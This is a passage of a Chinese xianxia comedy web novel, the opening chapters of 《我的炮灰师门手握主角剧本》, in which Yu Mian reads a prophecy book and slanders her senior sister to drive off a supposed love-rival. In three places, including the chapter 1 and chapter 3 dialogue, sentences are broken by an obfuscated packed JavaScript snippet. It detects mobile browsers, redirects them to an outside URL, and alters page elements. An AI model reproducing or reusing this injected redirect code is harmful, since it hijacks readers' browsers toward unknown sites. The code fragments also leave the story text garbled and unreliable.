《我的炮灰师门手握主角剧本》 1. 第一章 六月中旬,因外门试炼,白云间下起了一场雪。四面白雪纷飞,笼罩天地,似是冤情绵绵,又似祥瑞当空。 喻眠一直觉得她是一个集倒霉与幸运于一体的天选无情道奇才。 她平时不是很用功,别的外门弟子动不动去凡间历劫断情绝爱的时候,她就躺在院子里晒太阳数蚂蚁。 以前小的时候还经常被拉到大师姐院子里学剑道,一学就是一整天,别说心性,身体都饱经磨砺。 后面被二师兄劝下来和他一起学卜算符咒了,不用天天日晒雨淋,被大师姐发现摸鱼就说是在参悟大道,自在得很,但是她无情道上的成果依然沛然。 师父说这是因为她很豁达,她是有大悟性的。 喻眠懵懵懂懂,不是很懂,不过她的确没什么特别执着的东西,一定要说一个,那就是白云间的安稳。 白云间这个地方啊,冬日总是被茫茫的白雪覆盖着,空气都是冰冷冷的味道。 今日她独自一人走在白云间西向正大路上,天空辽阔,地面平坦,结果却还是被不知道从哪来的飞书砸到脑袋,实属倒霉。 头上传来直刺的痛,喻眠扯开雪日里冻得有些瑟缩的唇,吃痛叫唤。 她想要开始痛斥上天不公,修道多年的反应却又使她习惯性地感受起书上的灵力。 滚烫纯净的灵力流转指尖,她意识到了这本飞来横书正是天品圣物——天道的指引之书。 时常倒霉,却又极致幸运。 喻眠摸摸鼻子,讪讪一笑,变色龙似的收回不雅之言,嘀哩咕噜地说了一堆好词敬语,感谢老天对待她是多么的仁慈和善良。 话还没有说完,她就目不转睛地盯着面前的这本大书——《一剑斩仙》。 书很厚,掂量起来却没什么重量,封皮是金色的,还泛着灿灿的光,四字书名被嚣张地写在上面。 伸手摸去,比她常看的那些书难翻开,照理是本新书,但是书页又是古朴的棕黄色,边角还有些陈旧的痕迹。 喻眠没有思索太多,只是小心翼翼地翻开书,左胸心脏砰砰直跳,她内心的喜悦更是直接冲昏头脑。 这可是天品圣物啊。 得机缘如此,莫过修仙三载。 上天又会赐给她什么样的机缘呢?秘境传承?天财地宝的位置?随身上神的倾囊相授?抑或着说,是旁的些什么更好的物什? 想到这儿,心脏都要跃之身体欲出,喻眠迫不及待地翻开书,喜色溢满圆脸。 嘿嘿,其实上天告诉她什么都行,她不挑的,看到啥都满意,看到啥都高兴。 翻开书第一行。 【我叫喻眠,我是一个废物。】 喻眠:??? 喻眠没绷住。 说不定是同名同姓的呢? 她自欺欺人地乐观一笑。 少女摇了摇头,指尖摸索书页角,生涩地翻开下页。 【我是一个修无情道的。三岁进入白云间,亲传弟子,修道十四年,算是有修道的天赋。 但是我太废物了,再有天赋也保护不住我的师门。】 喻眠介绍头脑有些发懵,她师门那群超标战力还需要她保护吗? 少女思索着,伸出双手搓了搓一会时间就开始皮冷的手,再又翻开下一页。 【白云六十年,仙魔大战爆发,我的生活发生了翻天覆地的变化,我从一个无情道一阶的普通弟子一跃成为无情道大佬、魔界的霸主、仙魔之战中可以一剑斩仙的传奇魔君。 不过这并不是一件高兴的事,因为与之相伴的是——我的师门全员惨死。 我的大师姐,桃花妖血脉,无情道五阶,死于情劫,七窍流血,挖肾掏心,永世不得超生。我伤心欲绝,悟道,三阶。 我的二师兄,无情道三阶,死于仇杀,被拦腰斩断,五马分尸,魂魄拘于五阳火塔之中,死后千年饱受烈火摧残。我悲痛难耐,悟道,六阶。 我的师父,无情道七阶,死于仙界游历,死后不留其尸,不知其因,不知其何日何地而死。我魂不守舍,悟道,九阶。】 即使是文字,看到这里喻眠也是心急如焚,她翻开下页,结果第二页写着几个大字——“欲知后事如何,请用灵石解锁”。 喻眠:…… 这玩意儿竟然能是天道能写出来的天道之书? 她深呼吸一口气。 不难发现,这本书是天道指引之书,内容预视了修真界的重大发展。 而天道女主角与她同名同姓相同经历。 也就是说,她喻眠,正是肩负大任的天道女主角! 而她的师门,则是故事中战力比较超标的炮灰,即将献祭上自己的生命来为她的无情道修仙旅途铺设慷慨大道。 想到这里,喻眠的眼睛里燃起了决绝。 她虽是无情道修士,难道就一定是狼心狗肺献祭师门证道之辈?她偏不是。 喻眠迎风而立,眼睛更深邃了一些,她的发丝随风飘扬,尚方宝剑背在身后,整个人透着股锐气,她扯了扯嘴角,朝着上天大无畏地肆意一笑: “呵,既然如此,光复师门,拯救师长,吾义不容辞!” 天上的雪飘落在喻眠的肩头和发梢,她却不为所动,依然笑看天边之雪,抬手间尽是意气风发。 她像是话本里常有的热血剑修主角的模样,锋利刚强,不被任何事情所打倒,又重情重义至极。 忽然,天边遥遥传来一道声音—— “喂喂喂,西大道那个违规使用灵力给自己吹风凹造型的,待会来执法堂一趟。” 一只长着怪异灰黑色斑点的雪鸮不知道什么时候飞了过来,眼睛明亮,嘴巴里的是暗哑嘲弄的人声。 一句话把刚刚表现得威风凛凛的喻眠打了个没影。 这是白云间执法堂的鸟,专门四处巡逻有没有犯错的弟子。 喻眠忙收起灵力,刚刚飘来飘去的头发和衣摆现在全部规规矩矩地散落在一边。 喻眠慢慢地抬起头,对着那只丑兮兮的鸟讨好一笑,连忙答道:“对不起,好师妹,我刚刚一不小心让灵力自己跑出来了,谅解一下。” 雪鸮鸟听完后飞落到地上,洁白的爪子衔起一堆雪,又振翅飞得高高,向喻眠的头顶砸了个雪球,阴阳怪气地说道:“你的意思是你一不小心放出了灵力,然后又一不小心用灵力刮了个东风,接着一个不小心用这个东风给你自己吹了个造型,而且一不小心就着这个造型你耍了个帅,最后还一不小心没有收回灵力对吗?我的好师姐。” 喻眠是被全白云间最混的二师兄带大的,脸皮厚,被指责了也没有多害臊。 喻眠拍了拍头顶的雪,碎雪散逸,她面不改色地借坡下驴应道:“是,就是这样。千里马易寻而伯乐难求,师妹你真懂我。喜欢你,伯乐妹。” 雪鸮鸟被气了个够呛,又拉不下脸骂人,恨恨说道:“别贫嘴了,早点赶到执法堂来,说不定你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818698|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的处罚会轻一点呢,我的好师姐。” “好师姐”三个字她咬字咬得重,听着像有几分咬牙切齿。 喻眠听到后表现得很害怕,畏畏缩缩地收起周身灵力,撒开腿就向前方跑了起来,嘴巴里高高喊着:“师妹你就不能对师姐我手下留情点吗?你根本不懂得什么是尊老爱幼和长幼有序。” 喻眠嘴上对雪鸮叫嚣得厉害,双腿却还是跑得飞快,一副生怕去晚了就要被狠狠惩罚的模样。 然而跑着跑着,她渐渐息了步速,轻轻地回头看看了一眼,又立马转了回来。 视野内,雪鸮已经没了踪影了。 她看不到雪鸮,雪鸮自然也看不到她。 喻眠停下了步子,在原地伸个了懒腰:“切,我不去不就没有处罚了吗,这么简单的道理,新上任的就是笨。” 喻眠整理好刚刚急着收回灵力还是乱七八糟的头发和衣服,拍落身上的雪,又用灵力给自己重新做好造型,再随意地笑了笑:“溜了溜了,执法堂一向贵人多忘事。洒家去也!” 然而喻眠走到一半,又想起那本《一剑斩仙》。 她把书揣怀里,哼着小调,向右走到灌木丛边上,席地而坐,叼片叶子,翻开书继续看了起来。 灌木丛微微散发着苦苦的叶子味,味道比春天更加涩些,不过也可能这份涩意是雪的味道。 喻眠静下心来研读天道之书,看到天道之书上面那句要求氪金的话,为了更好地策划拯救师长行动,喻眠直接咬牙怒氪了大礼包的648点灵气,解锁小说第一章! 【第一章:霸道师姐俏师弟,冷面师姐轻点宠(1)】 【白云间冬日的路格外得难走,虽说现在是六月,这场为外门试炼而下的雪也让现在和冬日没有区别了。 身冷,地滑,四处白茫茫得一片,让人分不清路。 但是俏师弟坚持走了三天三夜。白云间终于放宽了外门弟子的要求,愿意招收他们这些妖族弟子了,只要在规定时间内走到目的地,便可成为白云间外门弟子。 仅仅山路坎坷,雪势浩大,自己的布鞋被雪水浸润了而已,又怎么能拦住他? 白云间可不仅仅是一个深造的圣堂,这里还有扬名四方的的清渊剑大师姐。 自小他就对剑道颇为感兴趣,奈何家境贫寒,根骨不佳,还是一个妖族,今日有机会深造,更有机会向大师姐学习,真是天赐的机会。 结果谁曾想,他一直在试炼地胡乱打转找不到终点,现在又是本次白云间外门弟子招收的最后一天的最后一个时辰了,他恐怕要失败了。 在绝望中,他都几乎要放弃进入白云间的执念了。 这时,大师姐发现了他,搭救了他,还不因为他迷路而嫌弃他,反而她说已经感受到他的心性,愿意代表白云间收用他。 他心动了。 或许大师姐就是他命定的情缘吧。 …… (本章完)】 648你就给我看这点东西吗? 喻眠两眼一黑。 天道做生意比她的二师兄还要黑心。 而且她很难接受书上写的情节,她那笑面虎大师姐怎么会因为这么个潦草的会面就对什么“俏师弟”一见钟情?甚至能为了他罔顾白云间的规则,在没有特殊原因的情况下,给人家开后门放人家进入师门。 脑补了一下她那笑面虎大师姐一见倾心,还情劫大作犯恋爱脑的样子,喻眠打了个哆嗦。 2. 第二章 就在这时,喻眠突然反应过来,今天就是外门弟子招收截止日期了。 而此刻正是未时。 书上说了,大师姐就是在这个时间段和俏师弟在试炼地见面的。 大师姐一向是一个沉稳的人,若是她负责外门试炼,那便只会待在终点静待弟子,怎么会在前往终点的路上闲逛然后偶遇“俏师弟”呢? 喻眠有些困惑,却来不及细想。时间不等人,当下最要赶紧的还是前往外门试炼地营救师姐,总归救下师姐后问一声就知道为什么她会如此得反常了。 喻眠起身,背手一挑长剑,往面前一扔,一个踏步,长剑飞行,她御剑直直地向外门试炼的地方飞去。 呼啸的树木、猛烈的疾风、飞溅的雪浪,剑贴着泥土地面向前飞去。 白云间坐落在群岛上,离开内门去任何地方都要过江。喻眠飞过结着薄冰的江面,飞过茂密的树林,飞过厚厚的雪地。 一路加速飙剑疾驰,卷起的风掀翻了她的外衣下摆,带动的尘土飘雪糊住了她的眼睛。 “砰。” 一声重响。 喻眠连人带剑地摔了个狗吃屎,趴在地上痛得直叫唤。 “抱歉抱歉。”喻眠右手撑地,挣扎着想要起身,强撑着睁开被风呼啸刮着几乎要张不开的眼睛:“没刹住剑。” “无妨。”男声清润。 眼前人容貌陌生,身形瘦高,笑声清朗:“在下常年炼体,手脚快,能躲开,刚刚道友撞到的是我扔出来的保护罩,我自己没什么事。” 喻眠见他虽衣着普通,但通天气派不俗,搭她起身的手除了虎口处的茧子细腻如羊脂,随手就是一个保护罩。 此人活脱脱一个大世家出生的公子,是那种被师门请来做客谈大事的大人物,喻眠忙拱手作礼问道: “敢问道友仙乡何处,来白云间所为何事?可需要我帮助指路?” 男人看着刚刚风风火火的少女现在文质彬彬的样子,愣了愣,也跟着知书达理起来,对答道: “在下不过是小山谷里出来的,不敢称上仙乡。不过倒是真有一事有所相求。在下此次是来寻清渊道长的,绕了半天,雪踩了一路,白云间的风景也见了一路,可独独找不到外门试炼的终点,没办法见到她,在下可否向小友指教一番?” 喻眠刚要应下,忽得想起刚刚看到的书中情节,忙叫不好。 虽说若是没有“俏师弟”这样的特殊情况,大师姐定在外门试炼终点考核弟子无疑了。 但是若此人真是大师姐请来的道友,直接让她带着去会议堂等着就好了,何必自讨苦吃去寻什么外门试炼的终点? 且不说会不会是什么用心险恶之辈,喻眠盯着男人脚下的布鞋,恍然大悟。 莫非这就是大师姐那个名为俏师弟的情劫? 喻眠眼睛转了一圈,很快就想到了好点子,套话道:“来参加白云间的外门弟子选拔?道友这般身手,竟然还未被别的宗门招揽,而是屈身来当白云间的一个外门的弟子?真是白云间的荣幸。” “白云间这样的宗门哪会有个我这样的就荣幸了?”男人听完后慌忙摆手,“道友真是太谦虚了。” 喻眠不喜欢和人一直这样咬文嚼字打太极,她想利落地将男人的身份目的问个底朝天,却又不敢太突兀直白,便拐弯抹角切入正题,试探道:“哪里哪里,怎么会,道友的身手都让我想到大师姐了,真是厉害。” 男人摇了摇头,谦虚道:“不敢当,实在不敢当。白云间大师姐清渊道长文采沛然,于剑一道更是扬名天下,我这次前来白云间就是向清渊道长指教的。” 此人今日来寻外门试炼地点,皮肤细腻,穿个布鞋,还妄图去请教她的大师姐,喻眠稍加思索,就发现全都对上了。 应该就是这人了,不会错。 面前这个男人在喻眠心里已经打上“谋财害命悄师弟”的标签了。 想到这点后喻眠在心中冷哼一声。 连外门试炼的终点都找不到,还想着进入白云间后能拜师她大师姐? 喻眠并不打算帮助他找到终点,反而在想办法让此人放弃原本参加外门试炼,接着拜师白云间的计划。 她想着要是男人没有踏入白云间,也放弃了外门试炼,便不会有作为情劫祸害大师姐的事了。 于是喻眠顺着男人夸赞大师姐剑法好的话,试探道:“请教大师姐什么?若是剑道,鄙人兴许现在就能给尊下一个答案。在剑道上我平日颇得大师姐的真传。” 喻眠是个符修,不过不妨碍她瞎说。 喻眠想得很单纯,既是冲着向她大师姐请教剑法而来,那她胡乱指教上几句后就好打发他走了。 男人但笑不语。 喻眠没法,她想要拯救大师姐性命,但男人又不肯转而向她请教,一副非大师姐不可,外门试炼不可的样子。 她短时间又没想到别的好办法,喻眠现下就只有歪点子,那就是抹黑白云间和大师姐,把白的说成黑,让人听后便不想来这么一个坏宗门,拜师这么一个坏师姐。 喻眠贼兮兮地盯着男人道:“道友你可别看我们大师姐平时耍剑耍得潇洒啊,我和你说,那都是装的!” “哦?”男人闻言起了兴趣,说话的语气都认真了几分,“此话怎讲?” 见男人认真倾听,喻眠赶忙连珠炮似地胡扯道:“我们大师姐其实一点都不厉害,她的修为都是嗑药嗑上来的。而且她在剑道上也就是中规中矩的水平,没有什么真本事的。” 男人并不相信道:“那可是扬名四海的清渊道长,怎么可能没有真本事呢?” “哎哟,那是因为她那个剑灵特别刁钻,每次比拼她其实都是剑灵在耍花招,所以才厉害的。”喻眠说完还不满地皱着眉头,一脸鄙夷。 男人表情惊讶,说道:“从来没有听说过这样的事。剑灵?那不是凡人话本里才有的东西吗?” 的确是没有,但是不这么说又怎么骗过你呢。 喻眠在心里回答道。 但是她怕男人细究,便装作若无其事地扯开话题道:“大千世界,无奇不有啊。所以我跟你说,你向她请教是真的没有什么用的。不说她本身没啥本领,而且她特别小心眼,为数不多会的那些东西也不想教给你。” “当真?” “那可真真是真的不能再真了。”喻眠诚恳地胡编乱造了起来,“这是我们三师姐喻眠亲口和我说的啊,见你面善才告诉你的。那个大师姐在外风清气节的,但是其实就是一个混世魔王,天天欺压我们三师姐。丑时啊!暴风雨的天!就把我三师姐从床上拉起来,让她待在瀑布里练剑,而且还、还、”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818699|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻眠见男人表情似乎很认可严师出高徒这一套,话到嘴边又拐了弯,重说道:“还不教真本事,就是纯纯举剑而已,丢了本基础剑诀让她自己练,三师姐当时还以为她一片苦心呢,后来才发现原来是大师姐没有真本事,教不出个所以然来,做给外人看的表面功夫。” “哦?那道友怎么刚刚说你可以教我,你自己颇得大师姐真传呢?”男人表情有些怀疑,抓着喻眠刚刚的漏洞问道。 喻眠听完男人的问题,暗道不妙。她干脆直接哭了出来,声泪俱下,把男人打了个措手不及。 “我那是不愿他人受苦啊! 不瞒你说我三岁就踏入白云间了!本事没有学到,反而日渐憔悴。 白云间从少门主喻眠开始就烂到根了,她因为自己在大师姐那里受了委屈,累得不行,就天天奴役我们这些外门小弟子,不仅要帮她干活,每个月还得上交保护费。少门主如此,师门风气怎么会不恶劣?我每天在白云间从来没有学到知识,反而天天被同伴们霸凌欺负。 至于你想要请教的大师姐?那更是一个女魔头。前几日我向她问问题,她非但没有解答,反而、反而还猥亵我这个女童!凡是想要被她解答问题的弟子,无一不被她猥亵,所有外门弟子全部惨招毒手。” 说到最后喻眠表情一脸悲愤,不管了,大师姐我也是为了你的性命找想,以后你知道了可千万不要怪我。 喻眠边说边哭,似乎要哭出这么多年的心酸。 喻眠穿的本就不多,一身单薄的蓝衣,在雪地里哭得双目红肿,天上鹅毛大雪又飘荡着,像是上天都在同情她的冤屈,看着无比得可怜。 喻眠哭得如此凄惨,男人终于动容了,上前蹲下身,递过手帕,声音带着不确信地询问说道:“道友,清渊道长那样的人,竟然会猥亵弟子吗?” 听道男人那不可置信的语气,喻眠心中窃喜,接过手帕,恶狠狠地在脸上擦了擦,然后一鼓作气地接着哭诉道: “人不可貌相啊!你看看我,为什么今天一见到你我就莫名其妙低空飞行到处撞人?那是因为我被大师姐不断的潜规则整疯了啊! 正是因为她是清渊道长,威名在外,所以才能潜规则弟子啊!整个外门招新就像她选后宫一样,进去了就得被潜规则,所以你可千万别去什么外门招生地啊!” 喻眠说完,忍不住看向男人的表情,听到了这么荒唐的事,总归不想再来白云间了吧。 结果男人的面颊上都是诡异的红晕。 喻眠:? 男人咳嗽了一声,刚刚清朗的声音此时却有几分含羞带怯,他羞涩问道:“真的吗?是只要是白云间弟子就能被潜规则吗?我看外门弟子这次的招生要求是只要求了成功到达终点,可这既然是清渊道长的后宫选秀,是不是还有些什么别的条件呢?我需不需要打扮得再漂亮一些吗?” 喻眠:? 等等,喻眠突然反应过来了! 不对啊,如果这人真的是她刚刚书中看到的那个情劫,那他可是大师姐的小迷弟,专门奔着大师姐来的啊。 她这样诽谤大师姐不仅没有任何用处,反而在这男人看来这可是天大的好消息,只要进入师门就可以美美被心上人潜规则,哪里还会放弃试炼呢? 喻眠吹着冬日的雪风,脸庞生冷,心却更冷。 3. 第三章 喻眠凄凄惨惨地笑着,整个人孤凉凄苦地站在无边的昏暗雪雾之中。 男人看着她的表情有些手足无措。 这人是怎么了?怎么突然这么难过。 她的忧伤比刚刚看着更真实些,嘴里没有连绵不休的话语,只是独自安静地难过着,让人想要安慰都不知从何着手了。 男人现在不知道怎么安抚才好了。 “道友,你没事吧?”他问道。 喻眠不说话,只是继续凄惨地看天。 “道友?” 喻眠继续充耳不闻。 男人看着喻眠不知道说什么了,于是干脆也一句话不说,就在她身边安安静静地站着,默默陪着她,试图这样能让这位今天刚刚认识的小道友好受一些。 但是喻眠并没有觉得这样很好受,她对着男人戚戚地开口道:“道友,你刚刚说的话比我在白云间那凄惨的生活更让我心伤。” 男人有些莫名:“为何?” 喻眠没有办法告诉他不开心的真正原因,说出天道之书预言大师姐会因为他死亡的事。 更不能又突然改口大师姐根本不会潜规则弟子,让他知道自己嘴巴里每一句可信话。 喻眠只转移话地劝解道:“你喜欢的是一个君子兰一般的人物,但是有一天,你突然得知她其实是一个道德败坏作风不端的混蛋,你难道要依然喜欢她吗?” 她在暗示男人,如果大师姐其实是一个会潜规则弟子的败类,而不是风清气节的清渊道长,那就没有必要喜欢着了。 男人却不理解喻眠问这个干什么,奇怪地看了喻眠一眼,不过还是认真地思考了一会,然后理所当然地回复道: “那当然了,我喜欢的是那个人,又不是高尚的道德品格。如果我喜欢的是高尚的道德品格,那岂不是全天下的君子我都要喜欢一遍?” 闻言,喻眠绝望地闭上眼,任由漫天雪花覆上自己那已经冰冷的脸。 他怎么能说出这样的话呢? 他就非要这样不分是非对错地喜欢她的大师姐吗? 大师姐,与这样的人打交道真的好难。 单单是诋毁你抹黑你毫无用处,那到底该怎么样才能让他放弃追求你,放弃外门试炼呢? 男人见喻眠又是凄凄惨惨的样子,有些无奈,他又耐着性子安抚道:“你也不要太难过,总要往好处想……” 喻眠睁开眼,左眼流下一行清泪,通红的面颊上留下一道湿漉漉的泪痕,她打断男子道: “道友,又不是每一个人都能像你一样爱慕着大师姐,面对她的潜规则能深情不改地享受其中的。我不是变态。” “我哪里说过我爱慕清渊道长了?”男人表情有些吃惊,“道友你是不是误会了什么?” “你哪里没有说过了?”面对俏师弟的强词夺理喻眠有些生气,“刚刚我说大师姐会潜规则外门弟子,把白云间的外门试炼变成她的后宫选修会,你表现得可不像不开心的样子。” “道友为什么不往好处去想呢?” 男人失笑道,“刚刚听道友的话我就觉得是道友看待事情的方式太消极了。” 她看待事物的方式消极?哪里消极了? 虽说她刚刚表现得整个人伤心了些,但那都是因为她所描述的事物都的确令人心伤吧。 又是残酷的训练,又是会潜规则弟子的邪恶大师姐,不伤心才不正常吧。 喻眠看向男人。 怎么看着仪表堂堂的,说出来的话都这么匪夷所思呢? 见喻眠这幅不信服的表情,男人耐心地解释道:“你瞧,暴风雨的天气,丑时不到的时辰,清渊道长就早早地起床,把下面的弟子带到瀑布去修炼。这是不是用心良苦呢?你不领情就算了,还把它当成是剥削,这不是你自己看待事物的态度很消极吗?” 喻眠感觉哪里不对,却又不知道怎么反驳。 “那大师姐潜规则弟子呢?你总不能说这也是用心良苦。”喻眠拧着眉说道。 “道友你可以不把这件事看成潜规则啊。你把它当作天上凭空掉下来的和闻名天下的清渊道长双修修炼提升自己的机会,那这不就是一件天大的好事了吗?白云间以外有多少人想要这样的机会还得不到呢。” 如此黑暗的潜规则还可以这么去理解的吗? 喻眠有些震撼。 “所以你是真的把这些事当成好事?” 她觉得男人未免有点太恋爱脑上头了,哪怕知道大师姐这么坏都要硬生生得把她洗白成用心良苦。 男人对着惊讶的喻眠点了点头,劝诫道:“能让自己修炼有成的事,怎么会不是一件好事呢?只是道友你自己惰于修炼,观念不对。与其这样贬低师姐,不如从现在做起,主动投身双修功法的怀抱,努力练就新功法,创新发展新模式……” 男人开始长篇大论地说心灵鸡汤,喻眠无动于衷地放空了耳朵。 她抓着这个时间分析起来,想想这次该怎么说,才能不再被男人戏说糊弄过去了。 此人听上去是真心喜爱修炼的。书中也说了他从小向往剑道,今日初次见面他也表明了自己想要学习剑道的决心。 那如果白云间并不能让他在剑道上有所成就,他应该就会动摇进入白云间的想法了。 又想到这人似乎很见不得别人难过,总是试图安抚伤心的人。 喻眠哭的时候男人还会为她递手帕,是修仙界少有的富有同情心之人了。 她想到说服男人放弃来白云间的方案了。 喻眠放松了原本蜷缩在衣服里的身体,感受着雪日的伤人冷意,回忆起了那些年被大师姐拉去瀑布下修炼的过往,双眼盛出眼泪,她哭诉道:“并不是我懒惰不想修炼啊,我也是像道友一样真心喜爱修炼的。不然为什么明明一直受苦受累却不逃出白云间再去凡间隐居呢?” 男人闻言瞳孔一缩,微微垂眸,表情转为认真和思考。 见状,喻眠乘胜追击地哭诉,眼泪止不住地流下,声音染上哭腔和鼻音:“道友说的那些我难道没有想到吗?我是看着像那种看不出师长对于自己修炼的关爱的人吗?” 听到这里,男人抬起头来,冲着喻眠连连点头。 喻眠看到男人在那里认真点头,忍不住扯了扯嘴角,又怕被男人看出来她真实的情绪,她又伸出双手用手帕捂住脸。 她抬起头,眼周红彤彤的一圈,手上的手帕被泪水浸湿。 喻眠直勾勾地盯着男人看,一边看眼泪一边不断地溢出,她哭诉的声音越来越伤感,越来越绝望:“道友怎么能这么想我呢?修仙之人哪有不想得道飞升的呢?我们外门弟子忍着白云间种种不好,就是为了修炼啊! 结果这几年来就因为我宁死不屈,抗拒大师姐的潜规则,就被她恶意破坏我的修炼道路,多年来别无所成。 而且并不只是愿意接受潜规则就可以顺利修炼的,你忘了我刚刚说的剥削弟子的三师姐喻眠了吗? 像你我这样的小弟子,被剥削压榨后精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818700|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲力尽,哪来的精力认真修炼呢? 我是多么痛苦啊!道友你不仅不理解我的苦难,还不把我对你的好心劝解当回事,我真的……” 说到这里喻眠彻底忍不住情绪,颤抖的腿再也支撑不住瘦弱的身体,她跪倒在雪地里,放声痛哭流涕起来。 六月里这场为外门试炼而下的雪飘扬在空中,打在喻眠的身上,让她的黑发朦胧上一片雪色,替她诉说着无尽的冤情。 喻眠凄厉的哭声更是为她的话语染上了悲剧色彩。 男人不忍看到喻眠哭得如此凄惨,上前扶起喻眠,真诚说道:“道友你说得太荒谬了,明明你看着年龄不大,却会这种入道多年的剑道弟子才会御剑飞行之术。这怎么会是在白云间什么东西都没有学到呢?更何况像你这种在剑道上有这种天赋的弟子怎么可能在宗门里被欺辱得这么惨呢?” 说到这里男人顿了顿,然后继续说道:“但是你哭得实在太可怜了,活脱脱像最亲爱的师兄师姐师尊全死了一轮一样。我是感觉你们修无情道的应该都挺没良心的,如果是假的应该哭不了这么惨,我还是相信你吧。 谢谢你冒着风险告诉我这些,小友。我会放弃来白云间向清渊道长求教剑道这件事的。”说完,男人的表情有些动容。 喻眠听完这些话嘴角抽搐。 算了,管他呢,信了就好。 总归这个讨人厌的“俏师弟”愿意相信她说的鬼话后会放弃外门试炼和来到白云间了。 那他之后就不会再和她的大师姐碰面,对大师姐谋情害命了。 这是一件好事。 喻眠完成拯救师姐的任务有些高兴,看着灰蒙蒙的天空,和在天空奋飞着的洁白无瑕的雪,忍不住感叹起自己的本事。 以为有多难解决,结果御个剑老天就把“俏师弟”送到自己剑上,人还这么得单纯好哄骗,应付驱赶起来简直轻而易举。 喻眠情不自禁地露出一个微笑,准备和男人挥手告别。 然而男人目光深情哀伤,继续对着喻眠说着他的感激之语: “真是多亏了你告诉我这些隐秘。 说来也惭愧,在下方溢鸣,是个器修,却一向对剑法颇有兴趣。 清渊道长请我今天来交流剑法,她说只要我给她的符修师妹喻眠做个平时画符用的黄品砚台,她就传授我剑道。 我收到消息后就无视了修仙界对于无情道修士们的那些传闻,慌不择路地过来了。 哪知道都是无情道修士的宗门果然是这么邪恶,就连清渊道长也是这样。 看来她能不能教给我剑道一事存疑了。 我还是打道回府吧。 多谢小友相助。” 喻眠刚想点头,却又反应过来不对。 他说他叫什么?方溢鸣?天器谷的那个天才炼器师? 来给她炼砚台的? 不是来谋害她大师姐感情和性命的? 喻眠这时才反应过来,男人先前说过自己并不爱慕大师姐,而书中的俏师弟拜入白云间的动机就是爱慕大师姐,从这点上看两人就不可能是同一个人。 更别说男人虽然穿着布鞋,出手就却是防护罩了,跟“贫寒俏师弟”并不沾边,她太过粗心大意把这些细节全忽略了。 喻眠顿时倒吸起一口凉气。 要是师姐知道她搅黄了好不容易请来的贵客会不会弄死她? 喻眠握住手帕的手微微颤抖。 她现在重说还来得及吗? 4. 第四章 喻眠立马深呼吸一口气,收了眼泪,献媚一笑道:“方兄,其实……我刚刚说的都是逗你玩的。” 方溢鸣表情困惑:“逗我玩的?” 喻眠的鼻尖上顶着一簇小雪,认认真真装乖点头道:“没错,方兄,你别当回事,我就是说着好玩。我是小孩子,不懂事。” 虽然修真界一向认为只有拥有自己的本命武器后才算得上成人独立,但是喻眠这样已经可以御剑飞行,拥有独自出外勤能力的弟子显然和不懂事的小孩一词沾不上边。 方溢鸣闻言懵了一瞬间,而后恍然大悟,抬眼扫过灰蒙蒙的天空,然后拉起喻眠的手,言辞恳切地说道: “我都懂,早就听说在白云间连鸟都会监视你们的一言一行。你放心。 我是外面的人,虽然看不出来有没有东西在监视我们,但是我还是很聪明的。 我知道你一定是看出了现在有东西在看着我们,这才改了说辞。 我不怕清渊道长,也不会把你现在说的所有话当回事,道友千万放心。 我一定会离开白云间的。” 方溢鸣褐色的眼睛很专注,表情则是深刻的坚定,像是打定主意要放弃这次来找大师姐学习的机会,一心护着她这个可怜的外门弟子。 如果喻眠真是什么可怜兮兮的外门弟子她会很感动。 可惜她不是。 不仅不感动,还觉得方溢鸣有点太过自作聪明了,于是她连忙摆手道:“没这回事啊,你看天上哪里有鸟影啊,我刚刚真是说着玩的,道友你切莫当真。” 方溢鸣看着喻眠。 他不会觉得喻眠刚刚又哭又闹说出来的话会是玩笑话,那一定是现在被胁迫了。 于是方溢鸣握着喻眠的手更加用力,话语坚定:“你在暗示我现在白云间监视技术又升级了?不止鸟还有别的东西也会盯着我们? 道友你不用担心我的,我是天器谷的核心弟子,不怕清渊道长,我就这么走了她看到了也不会把我怎么样。 倒是道友你,身为白云间弟子,泄露了师门这等隐秘,的确是要千万当心。” 喻眠没绷住:“大哥,你真想多了。” 方溢鸣听到喻眠称呼他为大哥,瞳孔猛地一缩。 随即又舒展开,他双目水润,表情一副感动道:“小妹既把我当作大哥,我自不会辜负小妹一番好意。小妹放心,我这就离开白云间。” 喻眠:“……” 她不是这个意思啊。 方溢鸣又不是书中写的“俏师弟”,在炼完砚台前她可不希望他离开啊。 喻眠一本正经地向方溢鸣解释起来:“我可没有把你认作大哥,我那是对你无语至极的称呼,是吐槽的性质,而非亲近。方道友,你多想了。” 喻眠长得不高,堪堪到方溢鸣胸口,眼睛圆滚滚的,认认真真地解释着她对他很无语。 